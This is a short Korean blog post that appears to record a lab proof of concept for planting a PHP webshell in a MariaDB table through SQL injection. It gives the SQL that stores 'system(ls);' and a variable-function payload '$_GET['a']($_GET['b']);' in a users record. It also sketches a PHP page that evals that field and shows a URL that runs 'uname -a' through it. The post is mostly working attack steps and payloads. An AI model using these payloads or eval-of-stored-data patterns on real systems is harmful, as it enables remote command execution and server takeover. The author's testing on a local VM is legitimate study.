php가변함수 참고 : https://demonteam.org/2018/07/18/php/
db에 웹쉘코드를 박고 실행이 될까 하는 의문점에서 시작한 POC
sql인젝션으로 DB에 웹쉘코드를 박고 활용하는 방안이다.
root@tkpark-VirtualBox:/var/www/html# mysql -u root -p Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> create user 'iesay'@'%' identified by '1234'; MariaDB [(none)]> grant all on iesay.* to 'iesay'@'%'; MariaDB [(none)]> flush privileges; |
MariaDB [(none)]> use iesay MariaDB [iesay]> show tables; |
MariaDB [iesay]> desc users; MariaDB [iesay]> insert into users(id, name, pw) values('admin', '관리자', 'toor');
|
MariaDB [iesay]> select * from users; |
apt-get install php7.0-mysql
설치 후
phpinfo에서 PDO확인
MariaDB [iesay]> update users set name = "system(ls);" where id="admin"; MariaDB [iesay]> select * from users; |
1.php
session_start(); // 세션
$a= $row['name'];
|
2.php
<h1>Welcome to my home page!</h1> </body> |
eval함수를 이용한 웹쉘,,,
MariaDB [iesay]> update users set name = "$_GET['a']($_GET['b']);" where id="admin"; |
http://192.168.0.118/2.php?a=system&b=uname%20-a
가변함수로도 사용 가능
'웹' 카테고리의 다른 글
promise (0) | 2019.03.28 |
---|---|
정규식 표현 정리 (0) | 2019.03.28 |
워드프레스 서버 이관 (0) | 2018.09.03 |
PHPMailer 구글 SMTP 메일 보내기 (0) | 2018.08.23 |
리눅스 서버 이관 작업 (0) | 2017.10.26 |